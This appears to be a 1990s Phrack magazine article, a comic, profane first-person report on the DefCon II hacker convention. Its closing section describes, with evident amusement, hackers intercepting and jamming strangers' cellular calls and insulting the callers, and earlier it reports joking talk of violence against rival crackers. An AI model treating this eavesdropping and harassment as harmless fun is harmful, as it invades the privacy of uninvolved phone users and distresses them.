Everyone who has ever suffered through one bitches about Vegas buffets, and even the hackers steered away from the Sahara's $1.95 "all you can eat" room: "The Sahara's buffet is the worst in town; worse than Circus Circus." But since I had left my taste buds at 37,000 feet along with schrapneled pieces of my inner ear, I sought out sustenance only to keep me alive another 24 hours.

By mid afternoon, I had convinced myself that outside was not the place to be. After only eighteen minutes of 120 sidewalk eggcooking degrees, the hot desert winds took what was left of my breath away and with no functioning airways as it was, I knew this was a big mistake. So, hacker convention, ready or not, here I come.

Now, you have to keep in mind that Las Vegas floor plans are designed with a singular purpose in mind. No matter where you need to go, from Point A to Point B or Point C or D or anywhere, the traffic control regulations mandated by the local police and banks require that you walk by a minimum of 4,350 slot machines, 187 gaming tables of various persuasions and no less than 17 bars. Have they no remorse? Madison Avenue ad execs take heed!

So, lest I spend the next 40 years of my life in circular pursuit of a sign‑less hacker convention losing every last farthing I inherited from dead Englishmen, I asked for the well hidden location at the hotel lobby.

"What hackers?" There goes that nasty photon triggered neuron depletion again.

"The computer hackers."

"What computer hackers. We don't have no stinking hackers . . ." Desk clerk humor, my oxymoron for the week.

I tried the name: DefCon II.

"Are we going to war?" one ex‑military Uzi‑wielding guard said recognizing the etymology of the term.

"Yesh, it's true" I used my most convincing tone. "The Khasaks tanis are coming with nuclear tipped lances riding hundred foot tall horses. Paris has already fallen. Berlin is in ruins. Aren't you on the list to defend this great land?"

"Sure as shit am!" He scampered off to the nearest phone in an effort to be the first on the front lines. Neuron deficiency beyong surgical repair..

I slithered down umpteen hallways and casino aisles lost in the jungle of jingling change. Where the hell are the hackers? "They must be there," another neuron‑impoverished Saharan employ ee said as he pointed towards a set of escalators at the very far end of the casino.

All the way at the end of the almost 1/4 mile trek through Sodom and Gonorrhea an 'up' escalator promised to take me to hackerdom. Saved at last. Upstairs. A conference looking area. No signs anywhere, save one of those little black Velcro‑like stick‑em signs where you can press on white block letters.

No Mo Feds

I must be getting close. Aha, a maintenance person; I'll ask him. "What hackers? What's DefCon."

Back downstairs, through the casino, to the front desk, back through the casino, up the same escalator again. Room One I was told. Room One was empty. Figures. But, at the end of a hallway, past the men's room and the phones, and around behind Room One I saw what I was looking for: a couple of dozen T‑shirt ed, Seattle grunged out kids (read: under 30) sitting at uncov ered six foot folding tables hawking their DefCon II clothing, sucking on Heinekens and amusing themselves with widely strewn backpacks and computers and cell phones.

I had arrived!

* * * *

You know, regular old suit and tie conferences could learn a thing or two from Jeff Moss, the man behind DefCon II. No fancy badge making equipment; no $75 per hour union labor built regis tration desks; no big signs proclaiming the wealth of knowledge to be gained by signing up early. Just a couple of kids with a sheet of paper and a laptop.

It turned out I was expected. They handed me my badge and what a badge it was. I'm color blind, but this badge put any psychedel ically induced spectral display to shame. In fact it was a close match to the Sahara's mid 60's tasteless casino carpeting which is so chosen as to hide the most disgusting regurgative blessing. But better and classier.

The neat thing was, you could (in fact had to) fill out your own badge once your name was crossed off the piece of paper that represented the attendee list.

Name:

Subject of Interest:

E‑Mail:

Fill it out any way you want. Real name, fake name, alias, handle ‑ it really doesn't matter cause the hacker underground ethic encourages anonymity. "We'd rather not know who you are anyway, unless you're a Fed. Are you a Fed?"

A couple of lucky hackers wore the ultimate badge of honor. An "I Spotted A Fed" T‑shirt. This elite group sat or lay on the ground watching and scouring the registration area for signs that someone, anyone, was a Fed. They really didn't care or not if you were a Fed ‑ they wanted the free T‑shirt and the peer re spect that it brought.

I'm over 30 (OK, over 35) and more than a few times (OK, a little over 40) I had to vehemently deny being a Fed. Finally Jeff Moss came to the rescue.

"He's not a Fed. He's a security guy and a writer."

"Ugh! That's worse. Can I get a T‑shirt cause he's a writer?" No way hacker‑breath.

Jeff. Jeff Moss. Not what I expected. I went to school with a thousand Jeff Mosses. While I had hair down to my waist, wearing paisley leather fringe jackets and striped bell bottoms so wide I appeared to be standing on two inverted ice cream cones, the Jeff Mosses of the world kept their parents proud. Short, short cropped hair, acceented by an ashen pall and clothes I stlll wouldn't wear today. They could get away with anything cause they didn't look the part of radical chic. Jeff, I really like Jeff: he doesn't look like what he represents. Bruce Edelstein, (now of HP fame) used to work for me. He was hipper than hip but looked squarer than square. Now today that doesn't mean as much as it used to, but we ex‑30‑somethings have a hard time forget ting what rebellion was about. (I was suspended 17 times in the first semester of 10th grade for wearing jeans.)

Jeff would fit into a Corporate Board Meeting if he wore the right suit and uttered the right eloquencies: Yes, that's it: A young Tom Hanks. Right. I used to hate Tom Hanks (Splash, how fucking stupid except for the TV‑picture tube splitting squeals) but I've come to respect the hell out of him as an actor. Jeff never had to pass through that first phase. I instantly liked him and certainly respect his ability to pull off a full fledged conference for only $5000.

You read right. Five grand and off to Vegas with 300 of your closest personal friends, Feds in tow, for a weekend of electron ic debauchery. "A few hundred for the brochure, a few hundred hear, a ton in phone bills, yeah, about $5000 if no one does any damage." Big time security shows cost $200,000 and up. I can honestly say without meaning anything pejorative at any of my friends and busienss acquaintances, that I do not learn 40 times as much at the 'real' shows. Something is definitely out of whack here. Suits want to see suits. Suits want to see fancy. Suits want to see form, substance be damned. Suits should take a lesson from my friend Jeff.

* * * * *

I again suffered through a tasteless Saharan buffer dinner which cost me a whopping $7.95. I hate grits ‑ buttered sand is what I call them ‑ but in this case might well have been preferable. Somehow I coerced a few hackers to join me in the ritualistic slaughter of our taste buds and torture of our intestines. They were not pleased with my choice of dining, but then who gives a shit? I couldn't taste anything anyway. Tough.

To keep our minds off of the food we talked about something much more pleasant: the recent round of attacks on Pentagon computers and networks. "Are the same people involved as in the sniffing attacks earlier this year?" I asked my triad of dinner mates.

"Indubitably."

"And what's the reaction from the underground ‑ other hackers?"

Coughs, sniffs. Derisive visual feedback. Sneers. The finger.

"We can't stand 'em. They're making it bad for everybody." Two fingers.

By and large the DefCon II hackers are what I call 'good hackers' who hack, and maybe crack some systems upon occasion, but aren't what I refer to as Information Warriors in the bad sense of the word. This group claimed to extol the same position as most of the underground would: the Pentagon sniffing crackers ‑ or whoever who is assaulting thousands of computers on the net ‑ must be stopped.

"Scum bags, that what they are." I asked that they not sugarcoat their feelings on my behalf. I can take it. "These fuckers are beyond belief; they're mean and don't give a shit how much damage they do." We played with our food only to indulge in the single most palatable edible on display: ice cream with gobs of choco late syrup with a side of coffee. .

The big question was, what to do? The authorities are certainly looking for a legal response; perhaps another Mitnick or Phiber Optik. Much of the underground cheered when Mark Abene and others from the reknowned Masters of Destruction went to spend a vacation at the expense of the Feds. The MoD was up to no good and despite Abene's cries that there was no such thing as the MoD, he lost and was put away. However many hackers believe as I do, that sending Phiber to jail for hacking was the wrong punish ment. Jail time won't solve anything nor cure a hacker from his first love. One might as well try to cure a hungry man from eating: No, Mark did wrong, but sending him to jail was wrong, too. The Feds and local computer cops and the courts have to come up with punishments appropriate to the crime. Cyber‑crimes (or cyber‑errors) should not be rewarded by a trip to an all male hotel where the favorite toy is a phallically carved bar of soap.

On the other hand, hackers in general are so incensed over the recent swell of headline grabbing break‑ins, and law enforcement has thus far appeared to be impotent, ("These guys are good.") that many are searching for alternative means of retribution.

"An IRA style knee capping is in order," said one.

"That's not good enough, not enough pain," chimed in another. (Sip, sip. I can almost taste the coffee.)

"Are you guys serious?" I asked. Violence? You? I thought I knew them better than that. I know a lot of hackers, none that I know of is violent, and this extreme Pensacola retribution attitude seemed tottally out of character. "You really wouldn't do that, would you?" My dinner companions were so upset and they claimed to echo the sentiment of all good‑hackers in good stand ing, that yes, this was a viable consideration.

"The Feds aren't doing it, so what choice do we have? I've heard talk about taking up a collection to pay for a hit man . . ." Laughter around, but nervous laughter.

"You wouldn't. . ." I insisted.

"Well, probably not us, but that doesn't mean someone else doesn't won't do it."

"So you know who's behind this whole thing."

"Fucking‑A we do," said yet another hacker chomping at the bit. He was obviously envisioning himself with a baseball bat in his hand.

"So do the Feds."

So now I find myself in the dilemma of publishing the open secret of who's behind the Internet sniffing and Pentagon break ins, but after talking to people from both the underground and law en forcement, I think I'll hold off awhile It serves no immediate purpose other than to warn off the offenders, and none of us want that.

Obviously all is not well in hacker‑dom.

* * * * *

The registration area was beyond full; computers, backpacks everywhere, hundreds of what I have to refer to as kids and a fair number of above ground security people. Padgett Peterson of Martin Marietta was going to talk about viruses, Sara Gordon on privacy, Mark Aldrich is a security guy from DC., and a bunch of other folks I see on the seemingly endless security trade show circuit. Jeff Moss had marketed himself and the show excellently. Los Angeles sent a TV crew, John Markoff from the New York Times popped in as did a writer from Business Week. (And of course, yours truly.)

Of the 360 registrees ("Plus whoever snuck in," added Jeff) I guess about 20% were so‑called legitimate security people. That's not to belittle the mid‑20's folks who came not because they were hackers, but because they like computers. Period. They hack for themselves and not on other systems, but DefCon II offered some thing for everyone.

I remember 25 years ago how my parents hated the way I dressed for school or concerts or just to hang out: God forbid! We wore those damned jeans and T‑shirts and sneakers or boots! "Why can't you dress like a human being," my mother admonished me day after day, year after year. So I had to check myself because I can't relate to Seattle grunge‑ware. I'm just too damned old to wear shirts that fit like kilts or sequin crusted S&M leather straps. Other than the visual cacophony of dress, every single hacker/phreak that I met exceeded my expectations in the area of deportment.

These are not wild kids on a rampage. The stories of drug‑in duced frenzies and peeing in the hallways and tossing entire rooms of furniture out of the window that emanated from the HoHoCons seemed a million miles away. This was admittedly an opportunity to party, but not to excess. There was work to be done, lessons to be learned and new friends to make. So getting snot nosed drunk or ripped to the tits or Ecstatically high was just not part of the equation. Not here.

Now Vegas offers something quite distinct from other cities which host security or other conventions. At a Hyatt or a Hilton or any other fancy‑ass over priced hotel, beers run $4 or $5 a crack plus you're expected to tip the black tied minimum wage worker for popping the top. The Sahara (for all of the other indignities we had to suffer) somewhat redeemed itself by offer ing an infinite supply of $1 Heinekens. Despite hundreds of beer bottle spread around the huge conference area (the hotel was definitely stingy in the garbage pail business) public drunken ness was totally absent. Party yes. Out of control? No way. Kudos!

Surprisingly, a fair number of women (girls) attended. A handful were there 'for the ride' but others . . . whoa! they know their shit.

I hope that's not sexist; merely an observation. I run across so few technically fluent ladies it's just a gut reaction. I wish there were more. In a former life, I owned a TV/Record produc tion company called Nashville North. We specialized in country rock taking advantage of the Urban Cowboy fad in the late 1970's. Our crew of producers and engineers consisted of the "Nashville Angels." And boy what a ruckus they would cause when we recorded Charlie Daniels or Hank Williams: they were stunning. Susan produced and was a double for Jacqueline Smith; we called Sally "Sabrina" because of her boyish appearance and resemblance to Kate Jackson. A super engineer. And there was Rubia Bomba, the Blond Bombshell, Sherra, who I eventually married: she knew country music inside and out ‑ after all she came from Nashville in the first place.

When we would be scheduled to record an act for live radio, some huge famous country act like Asleep at The Wheel of Merle Haggard or Johnny Paycheck or Vassar Clements, she would wince in disbe lief when we cried, "who's that?" Needless to say, she knew the songs, the cues and the words. They all sounded alike. Country Music? Ecch. (So I learned.)

At any rate, ladies, we're equal opportunity offenders. C'mon down and let's get technical.

As the throngs pressed to register, I saw an old friend, Erik Bloodaxe. I've known him for several years now and he's even come over to baby sit the kids when he's in town. (Good prac tice.) Erik is about as famous as they come in the world of hackers. Above ground the authorities investigated him for his alleged participation in cyber crimes: after all, he was one of the founders of the Legion of Doom, and so, by default, he must have done something wrong. Never prosecuted, Erik Bloodaxe lives in infamy amongst his peers. To belay any naysayers, Erik ap peared on every single T‑shirt there.

"I Only Hack For Money,"

Erik Bloodaxe

proclaimed dozens of shirts wandering through the surveillance laden casinos. His is a name that will live in infamy.

So I yelled out, "Hey Chris!" He gave his net‑name to the desk/table registrar. "Erik Bloodaxe."

"Erik Bloodaxe?" piped up an excited high pitched male voice. "Where?" People pointed at Chris who was about to be embarrass ingly amused by sweet little tubby Novocain who practically bowed at Chris's feet in reverence. "You're Erik Bloodaxe?" Novocain said with nervous awe ‑ eyes gleaming up at Chris's ruddy skin and blond pony‑tail.

"Yeah," Chris said in the most off handed way possible. For people who don't know him this might be interpreted as arrogance (and yes there is that) but he also has trouble publicly accept ing the fame and respect that his endearing next‑generation teenage fans pour on him.

"Wow!" Novocain said with elegance and panache. "You're Erik Bloodaxe." We'd just been through that said Chris's eyes.

"Yeah."

"Wow, well, um, I . . . ah . . . you're . . . I mean, wow, you're the best." What does Sylvia Jane Miller from Rumpsteer, Iowa say to a movie star? This about covered it. The Midwest meets Madonna. "Wow!" Only here it's Novocain meets Cyber Christ himself.

Like any other security show or conference or convention there is a kickoff, generally with a speech. And DefCon II was no excep tion. Except.

Most conventional conventions (ConCons) start at 7:30 or 8:00 AM because, well, I don't know exactly why, except that's when socalled suits are expected to show up in their cubicles. Def Con, on the other hand, was scheduled to start at 10PM on Friday night when most hakcers show up for work. Most everyone had arrived and we were anxiously awaiting the opening ceremonies. But, here is where Jeff's lack of experience came in. The kickoff speaker was supposed to be Mark Ludwig of virus writing fame and controversy. But, he wasn't there!

He had jet lag.

"From Phoenix?" I exclaimed in mock horror to which nearby hack ers saw the absurdity of a 45 minute flight jet lag. Mark has a small frame and looks, well, downright weak, so I figured maybe flying and his constitution just didn't get along and he was massaging his swollen adenoids in his room.

"Oh, no! He's just come in from Australia . . ." Well that explains it, alright! Sorry for the aspersions, Mark.

But Jeff didn't have a back up plan. He was screwed. Almost four hundred people in the audience and nothing to tell them. So, and I can't quite believe it, one human being who had obviously never stood in front of a live audience before got up in an impromptu attempt at stand up comedy. The audience was ready for almost anything entertaining but this guy wasn't. Admittedly it was a tough spot, but . . .

"How do you turn a 486 into an 8088?"

"Add Windows." Groan. Groan.

"What's this?" Picture the middle three fingers of your right hand wiggling madly.

"An encrypted this!" Now hold out just the middle finger. Groan. Groan.

"What's this?" Spread your legs slightly apart, extend both hands to the front and move them around quickly in small circles.

"Group Air Mouse." Groan.

The evening groaned on with no Mark nor any able sharp witted comedian in sight.

Phil Zimmerman wrote PGP and is a God, if not Cyber‑Christ him self to much of the global electronic world. Preferring to call himself a folk hero (even the Wall Street Journal used that term) Phil's diminutive height combined with a few too many pounds and a sweet as sweet can be smile earn him the title of Pillsbury Dough Boy look alike. Phil is simply too nice a guy to be em broiled in a Federal investigation to determine if he broke the law by having PGP put on a net site. You see, the Feds still think they can control Cyberspace, and thereby maintain antique export laws: "Thou shalt not export crypto without our approval" sayeth the NSA using the Department of Commerce as a whipping boy mouth piece. So now Phil faces 41‑51 months of mandatory jail time if prosecuted and convicted of these absurd laws.

Flying in from Colorado, his appearance was anxiously awaited. "He's really coming?" " I wonder what he's like?" (Like every one else, fool, just different.) When he did arrive, his shiteating grin which really isn't a shit‑eating grin, it's just Phil's own patented grin, preceeded him down the hallway.

"Here he is!" "It's Phil Zimmerman." Get down and bow. "Hey, Phil the PGP dude is here."

He was instantly surrounded by those who recognize him and by those who don't but want to feel like part of the in‑crowd. Chat chat, shit‑eating grin, good war stories and G‑rated pleas antries. Phil was doing what he does best: building up the folk hero image of himself. His engaging personality (even though he can't snorkel to save his ass) mesmerized the young‑uns of the group. "You're Phil?"

"Yeah." No arrogance, just a warm country shit‑eating grin that's not really shit‑eating. Just Phil being Phil. He plays the part perfectly.

Despite the attention, the fame, the glory (money? nah . . .) the notoriety and the displeased eyes of onlooking Computer Cops who really do believe he belongs in jail for 4 years, Phil had a problem tonight. A real problem.

"I don't have a room!" he quietly told Jeff at the desk. "They say I'm not registered." No panic. Just a shit‑eating grin that's not a shit‑eating grin and hand the problem over to the experts: in this case Jeff Moss. Back to his endearing fans. Phil is so damned kind I actually saw him giving Cryptography 101 lessons on the corner of a T‑shirt encrusted table. "This is plaintext and this is crypto. A key is like a key to your hotel room . . . " If only Phil had a hotel room.

Someone had screwed up. Damn computers. So the search was on. What had happened to Phil's room? Jeff is scrambling and trying to get the hotel to rectify the situation. Everyone was abuzz. Phil, the crypto‑God himself was left out in the cold. What would he do?

When suddenly, out of the din in the halls, we heard one voice above all the rest:

"Phil can sleep with me!"

Silence. Dead stone cold silence. Haunting silence like right after an earthquake and even the grubs and millipedes are so shaken they have nothing to say. Silence.

The poor kid who had somehow instructed his brain to utter the words and permitted them to rise through his esophagus and out over his lips stood the object of awe, incredulity and mental question marks. He must have thought to himself, "what's every one staring at? What's going on? Let me in on it." For the longest 10 seconds in the history of civilization he had abso lutely no clue that he was the target of attention. A handful of people even took two or three steps back, just in case. Just in case of what was never openly discussed, but nonetheless, just in case.

And then the brain kicked in and a weak sheepish smile of guilt overcame this cute acne‑free baby‑butt smooth‑faced hacker who had certainly never had a shave, and was barely old enough to steer his own pram.

"Ohhhhhh . . . . noooooo," he said barely louder than a whisper. "That' not what I mean!"

I nearly peed laughing so hard in unison with a score of hackers who agreed that these misspoken words put this guy in the unenvi able position of being the recipient of a weekend of eternal politically incorrect ridicule.

"Yeah, right. We know what you mean . . "

"No really . . ." he pleaded as the verbal assaults on his al leged sexual preferences were slung one after the other.

This poor kid never read Shakespeare: "He who doth protest too much . . ."

If we couldn't have a great kickoff speech, or comedian, this would have to do.

The majority of the evening was spent making acquaintances:

"Hi, I'm Jim. Oops, I mean 'Septic Tank," was greeted with "Oh, you're Septic. I'm Sour Milk." (Vive la difference!) People who know each other electronically are as surprised to meet their counterparts as are first daters who are in love with the voice at the other end of the phone. "Giving good phone" implies one thing while "Having a great keystroke" just might mean another.

The din of the crowd was generally penetrated by the sounds of a quasi‑pornographic Japanese high tech toon of questionable so cially redeeming value which a majority of the crowd appeared to both enjoy and understand. I am guilty of neither by reason of antiquity.

And so it goes.

* * * * *

Phil Zimmerman must have gotten a room and some sleep because at 10AM (or closely thereafter) he gave a rousing (some might say incendiary) speech strongly attacking the government's nearly indefensible position on export control

I was really impressed. Knowing Phil for some time, this was the first time I ever heard him speak and he did quite an admirable job. He ad libs, talks about what he want to talk about and does so in a compelling and emotional way. His ass is on the line and he should be emotional about it. The audience, indeed much of counter culture Cyberspace loves Phil and just about anything he has to say. His affable 40‑something attorney from Colorado, Phil DuBois was there to both enjoy the festivities and, I'm sure, to keep tabs on Phil's vocalizations. Phil is almost too honest and open for his own good. Rounds and rounds of sincere appreciation.

Hey kids, now it's time for another round of Spot The Fed. Here's your chance to win one of these wonderful "I Spotted A Fed" T‑shirts. And all you have to do is ID a fed and it's yours. Look around you? Is he a Fed? Is she under cover or under the covers? Heh, heh. Spot the Fed and win a prize. This one‑sizefits‑all XXX Large T‑shirt is yours if you Spot the Fed. I had to keep silent. That would have been cheating. I hang out on both sides and have a reputation to maintain.

"Hey, I see one" screeched a female voice (or parhaps it was Phil's young admirer) from the left side of the 400+ seat ball room. Chaos! Where? Where? Where's the fed? Like when Jose Consenko hits one towards the center field fence and 70,000 screaming fans stand on their seats to get a better view of a three inch ball 1/4 mile away flying at 150 miles per hour, this crowd stood like Lemmings in view of Valhalla the Cliff to espy the Fed. Where's the Fed?

Jeff jumped off the stage in anxious anticipation that yet anoth er anti‑freedom‑repressive law enforcement person had blown his cover. Where's the Fed? Jeff is searching for the accuser and the accused. Where's the Fed? Craned necks as far as the eye can see; no better than rubber neckers on Highway 95 looking for steams of blood and misplaced body parts they half expected a Fed to be as distinctly obvious as Quasimoto skulking under the Gorgoyled parapits of Notre Dame. No such luck. They look like you and me. (Not me.) Where's the Fed?

He's getting closer, closer to the Fed. Is it a Fed? Are you a Fed? C'mon, fess up. You're a a fed. Nailed. Busted. Psyche!

Here's your T‑shirt. More fun than Monty Hall bringing out aliens from behind Door #3 on the X‑Files. Good clean fun. But they didn't get 'em all. A couple of them were real good. Must have been dressed like an Hawaiian surf bum or banshee from Hellfire, Oregon. Kudos to those Feds I know never got spotted. Next year, guys. There's always next year.

Phil's notoriety and the presence of the Phoenix, Arizona prosecu tor who was largely responsible for the dubiously effective or righteous Operation Sun Devil, Gail Thackeray ("I change job every 4 years or so ‑ right after an election") brought out the media. The LA TV station thought they might have the makings of a story and sent a film crew for the event.

"They're Feds. The ones with the cameras are Feds. I know it. Go ask 'em." No need. Not.

"Put away that camera." At hacking events it's proper etiquette to ask if people are camera shy before shooting. The guy that I was sitting next to buried his face in his hands to avoid being captured on video tape.

"What are you; a Fed or a felon?" I had to ask.

"What's the difference," his said. "They're the same thing." So which was it, I wondered. For the truly paranoid by the truly paranoid.

"Get that thing outta here," he motioned to the film crew who willingly obliged by turning off the lights. "They're really Feds," he whispered to me loud enough for the row in front and behind us to hear.

I moved on. Can't take chances with personal safety when I have kids to feed. Fed or felon, he scared me.

Gail Thackeray was the next act on stage. She was less in agree ment about Phil Zimmerman than probably anyone (except the unde tected Feds) in the audience. She, as expected, endorsed much of the law enforcement programs that revolve around various key management (escrow) schemes. Phil recalls a letter from Burma that describe how the freedom fighters use PGP to defend them selves against repression. He cites the letter from Latvia that says electronic freedom as offered by PGP is one of the only hopes for the future of a free Russia. Gail empathizes but sees trouble closer to home. Terrorism a la World Trade Center, or rocket launchers at O'Hare Airport, or little girl snuff films in Richmond, Virginia, or the attempt to poison the water supply outside of Boston. These are the real threats to America in the post Cold War era.

"What about our personal privacy!" cries a voice. "We don't want the government listening in. It's Big Brother 10 years behind schedule."

Gail is amused. She knew it would be a tough audience and has been through it before. She is not shaken in the least.

"I've read your mail," she responds. "Its not all that interest ing." The audience appreciates a good repartee. "You gotta pay me to do this, and frankly most of it is pretty boring." She successful made her point and kept the audience laughing all the way.

She then proceeded to tell that as she sees it, "The expectation of privacy isn't real." I really don't like hearing this for I believe in the need for an Electronic Bill of Rights. I simply think she's wrong. "History is clear," she said "the ability to listen in used to be limited to the very few. The telegraph was essentially a party line and still today in some rural areas communications aren't private. Why should we change it now?"

"Gail, you're so full of shit!" A loud voice bellowed from next to me again. Boy can I pick seats. "You know perfectly well that cops abuse the laws and this will just make their jobs easier. Once people find a way to escape tyranny you all want to bring it right back again. This is revolution and you're scared of los ing. This kind of puke scum you're vomiting disgusts me. I just can't take it any more. " Yeah, right on. Scattered applause. While this 'gent' may have stated what was on many minds, his manner was most unbefitting a conference and indeed, even DefCon II. This was too rude even for a hacker get‑together. The man with the overbearing comments sat down apologizing. "She just gets me going, she really does. Really pisses me off when she goes on like about how clean the Feds are. She knows better than to run diarrhea of the mouth like that."

"You know," she continued. "Right across the street is a Spy Shop. One of those retail stores where you can buy bugs and taps and eavesdropping equipment?" The audience silently nodded. "We as law enforcement are prohibited by law from shopping there and buying those same things anyone else can. We're losing on that

Cyber Christ Meets Lady Luck Part II

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 20 of 28

****************************************

(Cyber Christ Meets Lady Luck Continued)

I don't agree with everything that Gail says, but she is a com pelling speaker; she believes in what she says. But I do agree with her on the difficulty of forensic evidence in computer cases.

"I got really mad," she said. "I was reading a magazine and there was an ad for United, you know, the employee owned airline. And it was a beautiful ad, hundred of employees standing in front of a brand new great big jet. All smiling and happy." Gail then frowned deeply. "Some stockholder ought to sue them for mislead ing advertising." This was more like it! Go, Gail! "I started to look at the picture carefully and I noticed this unmistakably fat lady in a pink dress. And then over a few persons. . .guess what? The same fat lady in pink." Roars of laughter and ap plause.

Her point? What seems real may not be real at all, and with a few hundred dollars in software and a little practice, most anyone can build a false reality digitally.

Her time was up but the audience wanted more. She was mobbed for eternity by hackers who fight her tooth and nail but respect her comportment enough to make the disagreements lively, partisan, entertaining, but with respect. Respectful hackers. No HoHoCon orgies; merely verbal barbs with no solution. Everyone knew that, but it's the battle that counts.

More security conference should be this open, this honest and informative, with all kinds of people with all kinds of opinions. That is how we, and I, learn. Listen and learn. And all for $5000 no less, plus a paltry $15 entrance fee.

* * * * *

The afternoon sessions were filled with a mixture of anti‑govern ment, pro‑privacy advocacy, virus workshops and such by both under and above ground folks. Padgett Peterson's knowledge of viruses is deep and he spread the same wisdom as his does in so called legitimate circles. Knowledge is knowledge, and better accurate than wrong.

It's often surprising to see how people will voice the same opinion in varying degree of intensity depending upon their audience. Mark Aldrich of General Research Corp. in the Washing ton area made a statement that I doubt I would hear at a ConCon. "Fear your government that fears your crypto. Use crypto as a weapon." Sara Gordon's panel discussion on crypto and privacy and related topics fueled the audience's general anti‑fed atti tude.

"I was bugged by the Feds." "So was I?" "What can we do about it." "Yeah, they listen in on my phones, too. I can hear the clicks." Right.

As Mark so succinctly put it, "if the government wants to bug you, you'll never know. They're that good.". That kind of shut up the dilettante paranoids in the group, albeit mumbling that they just knew that they were the victim of one of the 900 or so court approved wire taps last year. Right. I think Gail was right: some of you guys are too boring to be believed.

The afternoon edition of the Spot A Fed contest took us on the run. I actually succombed to their enthusiasm and a general lack of better judgement and followed a group of 8 or 10 to unmask an unmarked white van in the parking lot.

"It's the Feds." "How do you know?" "Oh, it's the Feds alright." "How do you know." "It's a white van and the intelligence serv ices use white vans." "What are you going to do?" "Bust 'em." "Bust 'em for what?" "For being Feds."

This motley crew traipsed through the mile long casino, trodding upon the ugly tartan/paisley carpets so obnoxiously loud a blind man could cry "Uncle!", into the Hall of Overpriced Shoppes through the lobby and over to the parking garage. We had to have $100,000 of surveillance gear in tow:(enough to detect the planet Pluto fart in b‑flat). Radio receivers and eavesdropping equip ment were courtesy of my pal Mike Peros. The goal was, if this was a Fed van, we could hear it. I don't think so, but I go for the ride and a few minutes of reprieve away from the conference hall.

As we near, the excitement grows among the more paranoid who are trying to instill their own mental foibles into their companions and sheer terror in normal old Vegas visitors who have no idea what they've walked into.

Feds? Not. Surrepticious radio transmissions? Just hotel securi ty tracking the movements of 8 or 10 paranoids (and one writer with nothing else to do for a half hour) into a parking garage which has more cameras than NBC. Feds? Of course not. Don't be ridiculous.

* * * * *

To say nothing worthwhile occurred until 11PM that evening would be lying, but this thing, this DefCon II thing, was turning into what I would have called 25 years ago, a Love‑In. The partici pants were giddy from the event, the camaraderie, the $1 Heinek ens and the hacking. The Sahara was actually pretty good about it. Jeff got the conference space for free because he guaranteed that at least 100 hotel rooms would be booked by "computer en thusiasts coming to a small computer conference." Little did the hotel know that half the crowd was too young to drink, too broke to gamble, and conspicuous enough to ward off legitimate clients. But a deal's a deal.

The hotel operators went out of their way and allegedly gave the hackers permission to hack through the PBX in order to provide a SLPP connection.

"Just put it back the way you found it when you're done," was the hotel's only and quite reasonable request.

In my day an equivalent event producing an equivalent social nondrug induced high would have been achieved by tossing a Frisbee to Grace Slick (Lead singer Jefferson Airplane) and have her throw it back. We didn't have the kind of technology that today's rebellious age has. We had the Beatles and Jimi Hendrix, safe sex (kinda), safe drugs (well, maybe a little safer) and a cause. But no technology to speak of.

When I was on the publishing staff of the New York City Free Press in 1968/9 we wrote our anti‑establishment diatribes by hand. By hand! And then we went down to a dark office late at night to use their typesetting gear when it was idle. It took no more than a blushing glance around the room to realize that we impressionable teens were publishing our political extremisms on equipment courtesy of Al Goldstein and Screw magazine. Now that was an education.

DefCon II was a Love‑In, technology and all.

Come 11PM yet another speaker canceled so I offered to chat to the crowd for a half hour or so on Van Eck radiation; the emis sions from CRT's that make video screens readable from a dis tance. Now this wasn't a fill in at 2PM or anything. Sessions reconvened at 11PM and I spoke to a full audience who were there to get a midnight lesson in cellular hacking.

Most above ground types still believe that hacking is an acnefaced teenager, chigging Jolt Cola, wolfing down pepperoni pizza and causing Corporate America no end of grief. To a cer tain extent some of this is true. But hacking is so much more.

As Rop Gongrijjp, editor of Hacktic once told me, "hacking is disrespect of technology." It's going the extra mile to find out how things work. Many of the older hackers, those in their early 20's and older, are migrating from the conventional dial‑em‑up and break‑in hacking image to the fine art of cellular hacking. How do these things work? What are the frequencies? How can I customize my phone? How many channels can I scan? The possibil ities are endless as I soon learned.

Jim and Bill (fake names) asked if I wanted to see a great demo. Sure! No names, they said. OK. No problem. In one of the several thousand hotel rooms at the Sahara was a pile of equip ment to make an under budgeted FBI surveillance team insanely jealous. There in the middle of the ridiculously filthy room that no doubt caused the maid to shudder, sat a log periodic antenna poised atop a strong and highly adjustable photographic‑style tripod. Feeding the antenna was a hunk of coax attached to a cell phone's antenna jack.

OK, so what's that? Free cell calls? No, much more.

A second cell phone/scanner, an Oki 900 was modified and connect ed to a laptop computer. (This was the exact modification being discussed downstairs) Custom software that was freely distrib uted around DefCon scanned the data from the Oki and displayed the scanning activity. A pair of speakers then audibly broadcast the specific conversation. And in Vegas, you can imagine what was going over the open airwaves!

A half dozen 'kids' sat around enthralled, each begging for his turn to, as Jim put it, "harass cellular users. Pure and simple. Harassment. Stomp on the son of a bitch," he laughed, joined in by the others.

When a 'good' conversation was detected, they entered the channel into the broadcasting cell phone and spoke. And talk they did. Essentially they turned 'private' conversations into wide‑band free‑for‑alls. If they spoke for only a few seconds one or both of the parties could hear what was being said. If they talked for too long, the overpowering signal from the antenna would literally wipe out the chat: the cell switch reacted with an internal belch and shut down. Stomping, they called it.

For those on the receiving end of the harassment, it must have sounded like the overbearing voice of God telling Noah how to build the Ark.

"Noah?"

"Who dat?

"Noah?"

"Who is that?"

What terror lurks in the minds of boys . . .

For those old enough to remember, stomping is no more a stunt than putting a 500 watt linear power amplifier on a CB radio and blasting nearby CB's to kingdom come. The truckers used to do it to 4‑wheelers. When the police began monitoring CB channels "to protect and serve" they became the target of CB stomping. So what else is new?

I gotta give it to them: these characters designed and built the software, modified the phones and put it all together and it works! Not bad on a $3 allowance and a 10th grade education. Now, I guess what they did may have been sort of illegal, or at least highly unethical and definitely not nice. But I have to admit, some of what I witnessed was very, very, funny. I'm not advocating this kind of activity, but much like Candid Camera broke into people's lives to capture their reactions, cellular hacking is similarly amusing. The hacker/phreaks particularly enjoyed breaking in on fighting couples. (I counted six impend ing divorces.) Almost without exception the man was in a car and the lady was at a fixed location; presumably, home.

Him: "Where the hell have you been."

Her: "Nowhere."

Him: "Bullshit.

Her: "Really honey . . ." Defensively.

Him: "Who's with you?" Intense anger.

Hacker: "Don't believe her. She's a whore."

Him: "What was that?"

Her: "What?"

"That voice."

"What voice?"

Hacker: "Me you asshole. Can't you see she's playing you for a fool."

"I know she is." He agrees.

"What's that honey?"

"I know he's there with you."

"Who?" Incredulous.

"Him . . . whoever you're fucking when I'm at work."

Hacker: "Yeah, it's me."

